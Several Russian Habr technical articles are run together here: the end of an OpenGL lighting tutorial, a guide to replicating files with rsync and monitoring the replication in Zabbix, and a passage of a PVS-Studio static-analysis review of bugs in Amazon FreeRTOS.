Как вы можете видеть, эта сцена включает в себя все наши типы освещения: глобальный свет (как солнце) где-то в небе, так же есть 4 разбросанных световых ящиков по всей сцене и фонарик, светящий из камеры наблюдателя. Выглядит довольно аккуратно, не правда ли?
Вы можете найти полный код [здесь](https://learnopengl.com/code_viewer_gh.php?code=src/2.lighting/6.multiple_lights/multiple_lights.cpp).
На изображение представлены все типы освещения с настройками по умолчанию, которые мы использовали в предыдущих уроках, но если вы поиграете с этими значениями, вы можете получить довольно интересные результаты. Художники, как правило настраивают эти переменные освещения в каком нибудь редакторе, чтобы убедится, что освещения соответствуют реальной среде. Используя нашу освещенную среду, вы можете настроить разные, интересные визуальные эффекты, просто настроив их артрибуты:

Мы также изменили значение ClearColor, чтобы лучше отражать свет. Вы можете видеть, что просто регулируя некоторые параметры освещения вы можете создать совершенно разную атмосферу.
Сейчас вы должны иметь довольно хорошее понимание об освещении в OpenGL. С этими знаниями, вы уже можете создать интересную, визуально богатую и атмосферную сцену. Попробуйте поиграться с разными значениями освещения, чтобы создать свою собственную атмосферную сцену.
### **Задания**
Воссоздайте различные типы атмосферных сцен, с последнего изображения, заменив значения артрибутов света [ссылка](https://learnopengl.com/code_viewer.php?code=lighting/multiple_lights-exercise2).
→ [Оригинал статьи](https://learnopengl.com/#!Lighting/Multiple-lights) | https://habr.com/ru/post/338254/ | null | ru | null |
# Репликация файлов через rsync: мониторинг с помощью Zabbix
В [предыдущей статье](https://habr.com/ru/company/first/blog/690318/) мы рассказывали о том, как настроить и контролировать репликацию базы данных MySQL или MariaDB. Однако, если речь идет о создании отказоустойчивого интернет-магазина или аналогичного проекта, нужно реплицировать не только базу данных, но и файлы. Это могут быть файлы изображений товаров, html-страниц, стилей CSS, скрипты и другие файлы.
Задача не совсем тривиальная, так как не все файлы должны реплицироваться, на мастер-сервере могут периодически появляться новые файлы и исчезать старые. Кроме того, процесс репликации не должен отнимать слишком много ресурсов, и результаты репликации файлов необходимо контролировать. Важно сделать так, чтобы репликация выполнялась только в том случае, если резервный сервер не переключился в состояние мастера, например, в результате выхода основного сервера из строя.
В этой статье мы расскажем, как настроить репликацию файлов при помощи программы rsync, а также как организовать мониторинг репликации файлов с помощью Zabbix.
Мы будем исходить из предположения, что файлы пользователя shopusr2 реплицируются с мастер-сервера host01master на резервный сервер host01slave.
При этом репликации подлежат все файлы из каталога /home/shopusr2/data, за исключением файлов, перечисленных в файле исключений, расположенном на резервном сервере host01slave.
### Установка программы rsync
Для установки программы rsync в ОС Debian 11 используйте следующие команды:
```
# apt update
# apt install rsync
```
Чтобы узнать версию установленной программы, запустите ее с параметром --version:
```
# rsync –version
rsync version 3.2.3 protocol version 31
```
Исходные коды программы можно загрузить на сайте <https://rsync.samba.org/>, а также здесь: <https://github.com/WayneD/rsync/>.
После установки rsync на мастер-сервере нужно отредактировать файл конфигурации /etc/rsyncd.conf. Также нужно создать файлы для ограничения доступа и для исключения из репликации файлов и каталогов, не требующих синхронизации между мастер-сервером и резервным сервером.
### Настройка на мастер-сервере
На мастер-сервере, с которого будут копироваться файлы на резервный сервер, необходимо подготовить файл конфигурации /etc/rsyncd.conf, а также файлы паролей для реплицируемых пользователей.
Для файлов паролей установите владельцем пользователя root и укажите для атрибутов значение 0600.
#### Подготовка файла конфигурации и файлов с паролями
Создайте на мастер-сервере файл /etc/rsyncd.conf с таким содержимым:
```
uid = root
gid = root
use chroot = yes
max connections = 4
syslog facility = local5
[shopusr2]
path = /home/shopusr2/data
comment = shopusr2
list = yes
auth users = shopusr2
secrets file = /home/shopusr2/data/rsyncd.secrets
```
Параметры **uid** и **gid** задают, соответственно, группу и пользователя, от имени которого будет выполнена синхронизация содержимого заданного каталога. В данном случае операции будут выполняться от имени пользователя root.
Параметр **use chroot** со значением yes предписывает программе rsync при выполнении операции менять корневой каталог на указанный в параметре **path**. Такое изменение выполняется из соображений безопасности.
Что же касается параметра **path**, то он задает путь к каталогу, для которого нужно выполнить синхронизацию файлов.
Для того чтобы не перегружать сервер в процессе репликации файлов, мы задали в файле конфигурации параметр **max connections**. Он задает максимальное количество одновременных подключений к сервису rsync, запущенному на мастер-сервере.
Параметр **syslog facility** задает уровень детализации сообщений от сервиса rsync для syslog. Можно указывать значения local0, local1, local2, local3, local4, local5, local6 и local7.
Далее в файле конфигурации /etc/rsyncd.conf должны следовать блоки определения синхронизируемых каталогов. В нашем случае это блок **[shopusr2]**.
В нем задан путь **path** к каталогу /home/shopusr2/data, содержимое которого будет реплицироваться на сервер бекапов, произвольный комментарий **comment**, а также параметры **auth users** и **secrets file**, ограничивающие доступ к этому каталогу.
Параметр **list** позволяет просматривать список файлов и потребуется нам только для отладки.
Файл доступа на мастер-сервере /home/shopusr2/data/rsyncd.secrets должен содержать такую строку:
```
shopusr2:********
```
Здесь после двоеточия укажите пароль доступа, который будет нужен резервному серверу для подключения.
Установите для файла rsyncd.secrets владельца и права следующим образом:
```
# chown root:root /home/shopusr2/data/rsyncd.secrets
# chmod 0600 /home/shopusr2/data/rsyncd.secrets
```
После этого перезапустите сервис rsync и проверьте, что он работает:
```
# service rsync restart
# service rsync status
```
#### Настройка файрвола на мастер-сервере
Из соображений безопасности нужно ограничить доступ к порту 873 на мастер-сервере с помощью файрвола, разрешив его только для адреса IP резервного сервера.
### Настройка на резервном сервере
На сервере реплики подготовьте для каждого реплицируемого пользователя файлы исключений и файлы паролей.
#### Файл исключений
В файлах исключений нужно перечислить каталоги и файлы, которые не должны реплицироваться, например:
```
.bash_history
.cache
.config
.filemgr-tmp
.local
.mc
.nano
.viminfo
.ssh
*.tar.gz
*.sql
*.xls
*.xlsx
bash_history
bin-tmp
cache
data
etc
logs
mod-tmp
php-bin
rsync.secrets
rsync
sphinx.socket
ssl
temp
test
tmp
```
Конечно, вам нужно будет самим определить содержимое файла исключений для своего сайта.
#### Файл паролей
Файлы паролей на резервном сервере должны содержать только строку пароля. Их нужно разместить в каталоге реплицируемого пользователя и назначить владельцем этого пользователя. Для нашего случая файл паролей находится здесь:
```
/home/shopusr2/data/rsync.secrets
```
Установите для файла паролей атрибут 0600:
```
# chmod 0600 /home/shopusr2/data/rsync.secrets
```
### Проверка репликации вручную
Проверьте, что после запуска сервис rsync занял порт 873 на мастер-сервере:
```
# netstat -lupin | grep 873
tcp 0 0 0.0.0.0:873 0.0.0.0:* LISTEN 22395/rsync
tcp6 0 0 :::873 :::* LISTEN 22395/rsync
```
На время тестирования уберите символ комментария со строки list = yes в файле конфигурации /etc/rsyncd.conf на мастер-сервере и перезапустите rsync.
Далее на сервере реплики обратитесь к мастер-серверу по его адресу IP:
```
$ rsync xxx.xxx.xxx.xxx::
shopusr2 shopusr2
```
В ответ на эту команду на консоли появится список пользователей. В нашем случае здесь будет один пользователь shopusr2.
Просмотрите файлы от имени этого пользователя, указав пароль из файла rsync.secrets:
```
# sudo -u shopusr2 rsync xxx.xxx.xxx.xxx::shopusr2
Password:
```
На консоли появится список файлов, доступных для репликации:
```
drwxr-xr-x 4,096 2021/09/15 19:12:58 .
-rw------- 740 2021/09/07 15:33:36 .Xauthority
-rw------- 14,160 2021/09/15 19:12:58 .bash_history
-rw-r--r-- 289 2020/10/09 09:38:10 .bash_profile
-rw-r--r-- 11 2021/03/05 14:20:34 .fmsettings
-rw-r--r-- 53 2018/04/30 10:34:03 .gitconfig
-rw------- 102 2021/06/28 14:08:51 .lesshst
-rw------- 1,773 2020/12/03 00:53:11 .mysql_history
...
drwxr-x--x 4,096 2018/08/11 12:32:25 php-bin
drwxr-xr-x 4,096 2021/03/05 14:21:02 ssl
drwxr-xr-x 4,096 2020/02/14 10:20:16 temp
drwxr-xr-x 4,096 2021/09/08 14:59:54 www
```
После этого проверьте работу команды репликации:
```
# sudo -u shopusr2 /usr/bin/rsync -urltvvv --delete-after --password-file=/home/shopusr2/data/rsync.secrets shopusr2@ xxx.xxx.xxx.xxx::shopusr2 /home/shopusr2/data --exclude-from /home/ shopusr2/rsync/exclude_shopusr2.txt --bwlimit=6000 > /home/shopusr2/data/rsync/rsync_log.txt
```
Параметры этой команды описаны в следующем разделе этой статьи. Результат выполнения синхронизации будет записан в журнал rsync\_log.txt.
### Программа запуска и контроля репликации
Для запуска и контроля результатов выполнения репликации файлов мы используем программу run\_rsync\_free.pl, доступную здесь: [ссылка на GitHub](https://github.com/AlexandreFrolov/shop2you_zabbix_monitoring/blob/main/run_rsync_free.pl).
Вам необходимо отредактировать программу, указав адрес IP и домены своих серверов. Кроме того, вместо сервиса keepalived вы можете использовать другие средства переключения с мастер-сервера на сервер бекапов, и это тоже необходимо учесть при подготовке своей программы репликации и мониторинга.
#### Проверка хоста и его состояния
Сразу после запуска программа проверяет, что она работает на резервном сервере, и этот сервер находится в состоянии BACKUP. Для этого программа определяет имя хоста, а также проверяет содержимое файла node\_keepalive\_state.txt, в который сервис keepalived записывает состояние хоста:
```
my $node_keepalive_state_file = '/home/shopusr/node_keepalive_state.txt';
my $state_file_content = read_file($node_keepalive_state_file);
my $host = hostname;
if($host eq 'host01slave.domain.ru' and $state_file_content=~/INSTANCE_myshop_BACKUP/)
{
if( $debug) { print "do replication \n"; }
…
}
else
{
print 'Can run files replication only for BACKUP state and for host host01slave.domain.ru'."\n";
print 'Host: '.$host.', state: '.$state_file_content."\n";
}
```
Если имя хоста определилось как host01slave.domain.ru, а файл состояния keepalived содержит строку «INSTANCE\_myshop\_BACKUP», запускается процесс репликации. В противном случае репликация не выполняется, а на консоль выводится сообщение об ошибке.
#### Запуск репликации файлов
Репликация файлов может выполняться довольно долго, поэтому в программе есть защита от повторного запуска. Она основана на использовании файла блокировки, а также функций, позволяющих проверить состояние блокировки, выполнить и отменить блокировку:
```
my $lock_file = '/tmp/.rsync_lock';
sub _locked
{
return 1 if ( -e $lock_file );
}
sub _lock
{
open( FILE, ">$lock_file" );
close FILE;
}
sub _unlock
{
unlink($lock_file);
}
```
Функция do\_sync запускает программу /usr/bin/rsync, которая синхронизирует файлы:
```
sub do_sync($$)
{
my ($user, $master_server_ip) = @_;
my $begin = time();
my $log='/home/'.$user.'/data/rsync/rsync_log.txt';
my $cmd = 'sudo -u '.$user.' /usr/bin/rsync -urltvvv --delete-after --password-file=/home/'
.$user.'/data/rsync.secrets '.$user.'@'.$master_server_ip.'::'.$user.' /home/'.$user.'/data --exclude-from /home/shopusr2/data/rsync/exclude_'.$user.'.txt --bwlimit=6000 > '.$log;
my @rqout = ();
@rqout = split /\n/, `$cmd`;
my $status;
my $rc;
my $rsync_rc = $?;
if($rsync_rc == 0)
{
$status = analyze_log($log);
$rc="ok";
}
else
{
$rc=$rsync_rc;
}
my $end = time();
my $diff = $end - $begin;
return {'rc' => $rc, 'sync_status_from_log' => $status, 'sync_duration' => $diff, 'user' => $user, 'master_server_ip' => $master_server_ip};
}
```
В качестве параметров этой функции нужно передать имя пользователя, для которого выполняется репликация файлов, а также адрес IP мастер-сервера.
При запуске rsync мы используем следующие параметры:
* u — нужно выполнять только обновление файлов, но не перезаписывать обновленные файлы;
* r — обрабатывать каталоги рекурсивно;
* l — сохранять ссылки;
* t — сохранять информацию о дате и времени файла;
* vvv — выводить информацию о результатах работы в подробном виде;
* delete-after — удалять файлы завершения передачи;
* password-file — взять пароль из файла, указанного в этом параметре;
* exclude-from — взять список исключений из файла, указанного в этом параметре;
* bwlimit — ограничить скорость передачи данных значением, указанным в Кбайт/c.
Полный список параметров программы rsync можно посмотреть, например, [здесь](http://www.opennet.ru/man.shtml?category=1&russian=0&topic=rsync).
Если копирование файлов завершилось успешно, то подробный журнал копирования будет записан в переменную $log для дальнейшего анализа функцией analyze\_log. В противном случае сообщение об ошибке будет сохранено в переменной $rc.
Функция do\_sync возвращает хэш с кодом завершения rc, результатом анализа журнала синхронизации файлов sync\_status\_from\_log, длительностью процесса синхронизации sync\_duration, а также именем пользователя user и адресом IP мастер-сервера master\_server\_ip.
#### Анализ результатов синхронизации файлов
Задачей функции analyze\_log является разбор файла журнала, созданного программой rsync в процессе синхронизации файлов. В ходе разбора функция отыскивает сообщения об ошибках, отфильтровывая «безобидные» сообщения:
```
sub analyze_log
{
my ($log) = @_;
my $action = {};
my $errors = [];
my $rc={};
open( FILE, "<$log" );
while ()
{
if (m/recv\_file\_name/)
{
$action->{ recv\_file\_name }++;
}
elsif (m/recv\_generator/)
{
$action->{ recv\_generator }++;
}
elsif (m/recv\_files/)
{
$action->{ recv\_files }++;
}
elsif (m/is\suptodate/)
{
$action->{ is\_uptodate }++;
}
elsif (m/\[generator\]\smake\_file/)
{
$action->{ make\_file }++;
}
elsif (m/delete\_in\_dir/)
{
$action->{ delete\_in\_dir }++;
}
elsif (m/Permission\sdenied/)
{
$action->{ permission\_denied }++;
push @$errors, $\_;
}
elsif (m/is\snewer/)
{
$action->{ is\_newer }++;
push @$errors, $\_;
}
elsif(m/opening\stcp\sconnection/
|| m/Connected\sto/
|| m/sending\sdaemon\sargs/
|| m/receiving\sfile\slist/
|| m/expand\sfile\_list/
|| m/received\s\d+\snames/
|| m/done/
|| m/recv\_file\_list\sdone/
|| m/get\_local\_name\scount/
|| m/generator\sstarting\spid/
|| m/\[generator\]\spushing\slocal\sfilters\sfor/
|| m/\[generator\]\sprotecting\sfile/
|| m/\[generator\]\sprotecting\sdirectory/
|| m/\[generator\]\spopping\slocal\sfilters/
|| m/delta-transmission\senabled/
|| m/generate\_files\sphase/
|| m/deleting\sin/
|| m/generate\_files\sfinished/
|| m/sent\s\d+([\.,]\d+)\*\sbytes/
|| m/total\ssize\sis/
|| m/\_exit\_cleanup/
|| m/set\smodtime\sof/
|| m/got\sfile\_sum/
|| m/renaming/
|| m/delete\_item/
|| m/deleting\s/
|| m/generating\sand\ssending\ssums/
|| m/count=/
|| m/recv\smapped/
|| m/parse\_filter\_file/
|| m/add\_rule/
# упоминания файлов и папок
|| m/^[^(\s]+$/ # любые символы кроме скобок и пробелов (это имя папки или файла)
)
{
# nothing to do
}
# все остальное считаем ошибками
else
{
$\_ =~ s/^[\s\n\r\t]+//;
$\_ =~ s/[\s\n\r\t]+$//;
if ($\_)
{
$action->{ $\_ }++;
push @$errors, $\_;
}
}
}
if ( scalar @$errors )
{
return { 'rc' => 'error', 'errors' => $errors };
}
return { 'rc' => 'ok', 'action' => $action };
}
```
Если ошибок не обнаружено, функция записывает в поле rc возвращаемого хэша строку «ok», а через хэш action передает статистику по выполненным действиям.
При ошибке в поле rc записывается строка «error», а в поле errors — ссылка на массив ошибок.
#### Подготовка данных для отправки в Zabbix
На следующем этапе наша программа записывает в хэш $sync\_info информацию для отправки в Zabbix:
```
my $sync_info;
my $shopusr2_error_rc = 0;
if($sync_info-> { rc } ne 'ok')
{
$shopusr2_error_rc = 1;
}
my $shopusr2_warning_rc = $sync_info->{sync_status_from_log }->{ rc };
if($shopusr2_warning_rc eq 'error')
{
$shopusr2_warning_rc = 1;
}
else
{
$shopusr2_warning_rc = 0;
}
my $shopusr2_sync_duration = $sync_info-> { sync_duration };
```
Прежде всего, при ошибке в переменную $shopusr2\_error\_rc записывается значение 1, а если команда rsync отработала правильно, то значение 0.
Если же ошибка была обнаружена в результате анализа журнала функцией analyze\_log, то эта ситуация рассматривается как предупреждение. В переменную $shopusr2\_warning\_rc при этом записывается значение 1.
Появление предупреждения означает, что нужно проанализировать журнал выполнения программы rsync. При этом следует понять, насколько критична ошибка и как ее можно устранить. Если ошибка не критична, можно добавить соответствующий фильтр в функцию analyze\_log. Возможно, потребуется отредактировать файл исключений.
И, наконец, в переменную $shopusr2\_sync\_duration записывается длительность выполнения команды синхронизации файлов.
#### Отправка результатов репликации в Zabbix
Для отправки данных в Zabbix используется программа zabbix\_sender. Для этой программы подготавливается файл с данными, который затем отправляется на все серверы Zabbix:
```
open(my $fh, '>', $zabbix_sender_data_file) or die "Не могу открыть '$zabbix_sender_data_file' $!";
print $fh $hostname." shopusr2_sync.Error ".$shopusr2_error_rc."\n";
print $fh $hostname." shopusr2_sync.Warning ".$shopusr2_warning_rc."\n";
print $fh $hostname." shopusr2_sync.SyncDuration ".$shopusr2_sync_duration."\n";
close $fh;
my @zabbix_server_ip_array = split(',', $zabbix_server_ip);
foreach my $server_ip (@zabbix_server_ip_array)
{
my $trap_cmd = $zabbix_sender.' -vv -z '.$server_ip.' -i '.$zabbix_sender_data_file;
if ($debug) {
print "Trap cmd: ".$trap_cmd."\n";
};
my @trapout = ();
@trapout = split /\n/, `$trap_cmd`;
if ($debug) { print Dumper(\@trapout); }
}
```
Адреса серверов Zabbix передаются программе run\_rsync\_free.pl при ее запуске в качестве параметра.
### Запуск программы синхронизации через crontab
Для запуска программы run\_rsync\_free.pl каждые 10 минут вы можете использовать такое задание crontab:
```
*/10 * * * * /usr/bin/perl /home/shopusr2/data/run_rsync_free.pl xxx.xxx.xxx.xxx,yyy.yyy.yyy.yyy host01slave
```
Здесь вместо xxx.xxx.xxx.xxx и yyy.yyy.yyy.yyy укажите адреса ваших серверов Zabbix через запятую.
### Шаблон для Zabbix
Мы подготовили шаблон мониторинга репликации файлов для Zabbix (рис. 1), доступный здесь: [ссылка на GitHub](https://github.com/AlexandreFrolov/shop2you_zabbix_monitoring/blob/main/shop2you_rsync_template.xml).
Рис. 1. Шаблон мониторинга репликации файлов для ZabbixВ шаблоне определены метрики для обнаружения ошибок и предупреждений, появляющихся в процессе репликации, а также для контроля времени, необходимого для выполнения репликации.
Также в шаблоне предусмотрены триггеры, показанные на рис. 2.
Рис. 2. Триггеры шаблона мониторинга репликации файловЭти триггеры срабатывают, если возникают ошибки и предупреждения, а также если данные мониторинга репликации не поступают на сервер Zabbix слишком долго.
*Автор: Александр Фролов.*
---
НЛО прилетело и оставило здесь промокод для читателей нашего блога:
— [15% на все тарифы VDS](https://firstvds.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=vds15exeptprogrev) (кроме тарифа Прогрев) — **HABRFIRSTVDS**. | https://habr.com/ru/post/691166/ | null | ru | null |
# По заказам Embedded-разработчиков: ищем ошибки в Amazon FreeRTOS
Каждый, кто программирует микроконтроллеры, наверняка знает о FreeRTOS, или по крайней мере слышал об этой операционной системе. Ребята из Amazon решили расширить возможности этой операционной системы для работы с сервисами AWS Internet of Things – так появилась Amazon FreeRTOS. Нас, разработчиков анализатора кода PVS-Studio, в почте и в комментариях под статьями попросили проверить эти проекты. Что ж, вы просили – мы сделали. Что из этого получилось – читайте далее.

Немного о проектах
------------------
Для начала расскажу немного о «папе» проверяемого проекта – FreeRTOS (исходный код вы можете найти по [ссылке](https://www.freertos.org/a00104.html)). Как говорит Википедия, FreeRTOS – это многозадачная операционная система реального времени для встраиваемых систем.
Написана она на старом добром Си, что неудивительно – данная операционная система должна работать в условиях, типичных для микроконтроллеров: невысокая вычислительная мощность, небольшой объем оперативной памяти, и тому подобное. Язык Си позволяет работать с ресурсами на низком уровне и имеет высокую производительность, поэтому он как нельзя лучше подходит для разработки такой ОС.
Теперь вернемся к компании Amazon, которая не сидит на месте и развивается по различным перспективным направлениям. Например, в Amazon разрабатывается игровой AAA-движок Amazon Lumberyard, который мы [тоже проверяли](https://www.viva64.com/ru/b/0574/).
Одним из таких направлений является Internet of Things (интернет вещей, IoT). Для развития в этой сфере в Amazon решили написать свою операционную систему – и за основу они взяли ядро FreeRTOS.
Получившаяся система – Amazon FreeRTOS – позиционируется как «обеспечивающая возможность безопасного подключения к сервисам Amazon Web Services, таким как AWS IoT Core или AWS IoT Greengrass». Исходный код этого проекта [хранится](https://github.com/aws/amazon-freertos) на Github.
В этой статье мы рассмотрим, имеются ли ошибки во FreeRTOS, а также то, насколько безопасна операционная система от Amazon с точки зрения статического анализа кода.
Как проводилась проверка
------------------------
Проверка кода проводилась с помощью автоматического средства поиска ошибок: статическим анализатором кода PVS-Studio. Он способен выявлять ошибки в программах, написанных на языках C, C++, C# и Java.
Перед началом анализа необходимо собрать проект – так я буду уверен, что у меня имеются все необходимые зависимости и с проектом всё в порядке. Проверять проект можно несколькими способами – например, с помощью системы мониторинга компиляции. Я же проводил анализ с помощью плагина для Visual Studio – хорошо, что в репозиториях обоих проектов имеется набор проектных файлов, позволяющих легко провести сборку под Windows.
Мне было достаточно лишь собрать проекты, чтобы убедиться, что есть всё необходимое для проверки. Далее я запустил анализ и вуаля! – передо мной готовый отчёт анализатора.
Сторонние библиотеки, включенные в эти проекты, тоже могут содержать ошибки, и они, конечно, тоже могут влиять на работу программы. Тем не менее, я исключил их из анализа ради чистоты повествования.
Итак, проекты проанализированы, отчеты получены, интересные ошибки выписаны. Пора перейти к их разбору!
Что скрывает FreeRTOS
---------------------
Изначально я рассчитывал написать две отдельных статьи: по одной на каждую операционную систему. Я уже потирал руки, готовясь написать хорошую статью про FreeRTOS. Предвкушая обнаружение хотя бы парочки сочных ошибок (вроде [CWE-457](https://cwe.mitre.org/data/definitions/457.html)), я с нетерпением просматривал немногочисленные предупреждения анализатора, и… и ничего. Я не нашел ни одной интересной ошибки.
Многие предупреждения, которые выдал анализатор, были не актуальны для FreeRTOS. Например, такими предупреждениями были 64-битные недочёты вроде приведения *size\_t* к *uint32\_t*. Это связано с тем, что FreeRTOS рассчитана для работы на устройствах с размером указателя не больше, чем 32 бит.
Я тщательно проверил все предупреждения [V1027](https://www.viva64.com/ru/w/v1027), связанные с приведениями между указателями на несвязанные между собой структуры. Если приводимые структуры имеют одинаковое выравнивание – значит, такое приведение не является ошибкой. И я не нашел ни одного опасного приведения!
Все остальные подозрительные места были либо связаны со стилем кодирования, либо были укомплектованы комментарием, объясняющим, почему здесь сделано именно так, и почему это не является ошибкой.
В общем, хочу обратиться к разработчикам FreeRTOS. Ребята, вы настоящие молодцы! Таких чистых и качественных проектов, как ваш, мы практически не встречали. И мне было очень приятно почитать чистый, опрятный, и хорошо задокументированный код. Снимаю перед вами шляпу.
Хоть я и не смог найти интересных ошибок в тот день, я понимал, что на этом я не остановлюсь. Я шел домой с твердой уверенностью, что в версии от Amazon 100% обнаружится что-нибудь интересное, и что завтра я обязательно соберу достаточно ошибок для статьи. Как вы уже наверняка догадались, я оказался прав.
Что скрывает Amazon FreeRTOS
----------------------------
Версия системы от Amazon оказалась… мягко скажем, чуть хуже. Наследие FreeRTOS осталось таким же чистым, а вот в новых доработках оказалось немало интересного.
В некоторых местах была нарушена логика программы, где-то неправильно работали с указателями. Местами код мог привести к неопределенному поведению, а где-то программист просто не знал о паттерне ошибки, которую он допустил. Я даже нашел несколько серьезных потенциальных уязвимостей.
Что-то я затянул со вступлением. Давайте начнем разбирать ошибки!
### Нарушение логики программы
Начнем с проблемных мест, которые явно указывают, что программа выполняется не совсем так, как рассчитывал программист. Первым таким местом будет подозрительная работа с массивом:
```
/**
* @brief Pool of request and associated response buffers,
* handles, and configurations.
*/
static _requestPool_t _requestPool = { 0 };
....
static int _scheduleAsyncRequest(int reqIndex,
uint32_t currentRange)
{
....
/* Set the user private data to use in the asynchronous callback context.
*/
_requestPool.pRequestDatas[reqIndex].pConnHandle = &_connHandle;
_requestPool.pRequestDatas[reqIndex].pConnConfig = &_connConfig;
_requestPool.pRequestDatas[reqIndex].reqNum = reqIndex;
_requestPool.pRequestDatas[reqIndex].currRange = currentRange;
_requestPool.pRequestDatas[reqIndex].currDownloaded = 0;
_requestPool.pRequestDatas[reqIndex].numReqBytes = numReqBytes;
....
_requestPool.pRequestDatas->scheduled = true;
....
}
```
PVS-Studio выдал два предупреждения на этот фрагмент кода:
* V619 The array '\_requestPool.pRequestDatas' is being utilized as a pointer to single object. iot\_demo\_https\_s3\_download\_async.c 973
* V574 The '\_requestPool.pRequestDatas' pointer is used simultaneously as an array and as a pointer to single object. Check lines: 931, 973. iot\_demo\_https\_s3\_download\_async.c 973
На всякий случай напомню: имя массива является указателем на его первый элемент. То есть, если *\_requestPool.pRequestDatas* – это массив структур, то *\_requestPool.pRequestDatas[i].scheduled* – это доступ к члену *scheduled* *i*-той структуры массива. А если написать *\_requestPool.pRequestDatas->scheduled*, то это будет означать доступ к члену *scheduled* первой структуры массива.
В отрывке кода, приведенном выше, так и происходит. В последней строке всегда изменяется значение только для члена первой структуры массива. Само по себе такое обращение уже подозрительно, но здесь ситуация еще более явная: на протяжении всего тела функции к массиву *\_requestPool.pRequestDatas* обращаются по индексу, и только в конце операцию индексирования забыли применить.
Как я понимаю, последняя строчка должна выглядеть так:
```
_requestPool.pRequestDatas[reqIndex].scheduled = true;
```
Следующая ошибка кроется в маленькой функции, поэтому приведу её целиком:
```
/* Return true if the string " pcString" is found
* inside the token pxTok in JSON file pcJson. */
static BaseType_t prvGGDJsoneq( const char * pcJson,
const jsmntok_t * const pxTok,
const char * pcString )
{
uint32_t ulStringSize = ( uint32_t ) pxTok->end
- ( uint32_t ) pxTok->start;
BaseType_t xStatus = pdFALSE;
if( pxTok->type == JSMN_STRING )
{
if( ( uint32_t ) strlen( pcString ) == ulStringSize )
{
if( ( int16_t ) strncmp( &pcJson[ pxTok->start ], // <=
pcString,
ulStringSize ) == 0 )
{
xStatus = pdTRUE;
}
}
}
return xStatus;
}
```
**Предупреждение PVS-Studio:** V642 [CWE-197] Saving the 'strncmp' function result inside the 'short' type variable is inappropriate. The significant bits could be lost breaking the program's logic. aws\_greengrass\_discovery.c 637
Давайте заглянем в определение функции strncmp:
```
int strncmp( const char *lhs, const char *rhs, size_t count );
```
В примере результат типа *int*, размер которого равен 32 битам, конвертируется в переменную типа *int16\_t*. При такой «сужающей» конвертации будут потеряны старшие биты возвращаемого значения. Например, если функция *strncmp* вернет *0x00010000*, то при конвертации «единичка» потеряется, и условие выполнится.
На самом деле странно видеть такое приведение в условии. Зачем вообще его делать, если с нулём можно сравнить и обычный *int*? С другой стороны, если программист осознанно хотел, чтобы функция иногда возвращала *true*, даже если не должна этого делать – то почему такое хитрое поведение не описано комментарием? Но тогда это уже какая-то закладка получается. В общем, я склоняюсь к тому, что это ошибка. А как считаете вы?
### Неопределенное поведение и указатели
Сейчас будет довольно большой пример. Он таит в себе потенциальное разыменование нулевого указателя:
```
static void _networkReceiveCallback(....)
{
IotHttpsReturnCode_t status = IOT_HTTPS_OK;
_httpsResponse_t* pCurrentHttpsResponse = NULL;
IotLink_t* pQItem = NULL;
....
/* Get the response from the response queue. */
IotMutex_Lock(&(pHttpsConnection->connectionMutex));
pQItem = IotDeQueue_PeekHead(&(pHttpsConnection->respQ));
IotMutex_Unlock(&(pHttpsConnection->connectionMutex));
/* If the receive callback is invoked
* and there is no response expected,
* then this a violation of the HTTP/1.1 protocol. */
if (pQItem == NULL)
{
IotLogError(....);
fatalDisconnect = true;
status = IOT_HTTPS_NETWORK_ERROR;
goto iotCleanup;
}
....
iotCleanup :
/* Report errors back to the application. */
if (status != IOT_HTTPS_OK)
{
if ( pCurrentHttpsResponse->isAsync
&& pCurrentHttpsResponse->pCallbacks->errorCallback)
{
pCurrentHttpsResponse->pCallbacks->errorCallback(....);
}
pCurrentHttpsResponse->syncStatus = status;
}
....
}
```
**Предупреждение PVS-Studio:** V522 [CWE-690] There might be dereferencing of a potential null pointer 'pCurrentHttpsResponse'. iot\_https\_client.c 1184
Проблемные разыменования находятся в самом нижнем *if*. Давайте же разберемся, что здесь происходит.
В начале функции переменные *pCurrentHttpsResponse* и *pQItem* инициализируются значением *NULL*, а переменная *status* – значением *IOT\_HTTPS\_OK*, означающим, что все проходит штатно.
Далее в *pQItem* присваивается значение, возвращенное из функции *IotDeQueue\_PeekHead*, которая возвращает указатель на начало двусвязной очереди.
Что произойдет, если очередь окажется пустая? В этом случает функция *IotDeQueue\_PeekHead* вернет *NULL*:
```
static inline IotLink_t* IotDeQueue_PeekHead
(const IotDeQueue_t* const pQueue)
{
return IotListDouble_PeekHead(pQueue);
}
....
static inline IotLink_t* IotListDouble_PeekHead
(const IotListDouble_t* const pList)
/* @[declare_linear_containers_list_double_peekhead] */
{
IotLink_t* pHead = NULL;
if (pList != NULL)
{
if (IotListDouble_IsEmpty(pList) == false)
{
pHead = pList->pNext;
}
}
return pHead;
}
```
Далее выполнится условие *pQItem == NULL*, и поток управления перейдет по *goto* в нижнюю часть тела функции. К этому времени указатель *pCurrentHttpsResponse* так и останется нулевым, а *status* уже не будет равен *IOT\_HTTPS\_OK*. В итоге мы попадем в ту самую ветвь *if*, и… бабах! Последствия такого разыменования вы и сами знаете.
Окей. Это был слегка витиеватый пример. Теперь предлагаю вашему вниманию очень простое и понятное потенциальное разыменование:
```
int PKI_mbedTLSSignatureToPkcs11Signature
(uint8_t * pxSignaturePKCS, uint8_t * pxMbedSignature )
{
int xReturn = 0;
uint8_t * pxNextLength;
/* The 4th byte contains the length of the R component */
uint8_t ucSigComponentLength = pxMbedSignature[ 3 ]; // <=
if( ( pxSignaturePKCS == NULL )
|| ( pxMbedSignature == NULL ) )
{
xReturn = FAILURE;
}
....
}
```
**Предупреждение PVS-Studio:** V595 [CWE-476] The 'pxMbedSignature' pointer was utilized before it was verified against nullptr. Check lines: 52, 54. iot\_pki\_utils.c 52
Эта функция получает два указателя на *uint8\_t*. Оба указателя проверяются на *NULL*, что является хорошей практикой – такие ситуации надо отрабатывать сразу.
Но вот незадача: к моменту, когда будет проверяться *pxMbedSignature*, он будет уже разыменован буквально одной строкой выше. Та-даа!
Еще один пример умозрительного кода:
```
CK_RV vAppendSHA256AlgorithmIdentifierSequence
( uint8_t * x32ByteHashedMessage,
uint8_t * x51ByteHashOidBuffer )
{
CK_RV xResult = CKR_OK;
uint8_t xOidSequence[] = pkcs11STUFF_APPENDED_TO_RSA_SIG;
if( ( x32ByteHashedMessage == NULL )
|| ( x51ByteHashOidBuffer == NULL ) )
{
xResult = CKR_ARGUMENTS_BAD;
}
memcpy( x51ByteHashOidBuffer,
xOidSequence,
sizeof( xOidSequence ) );
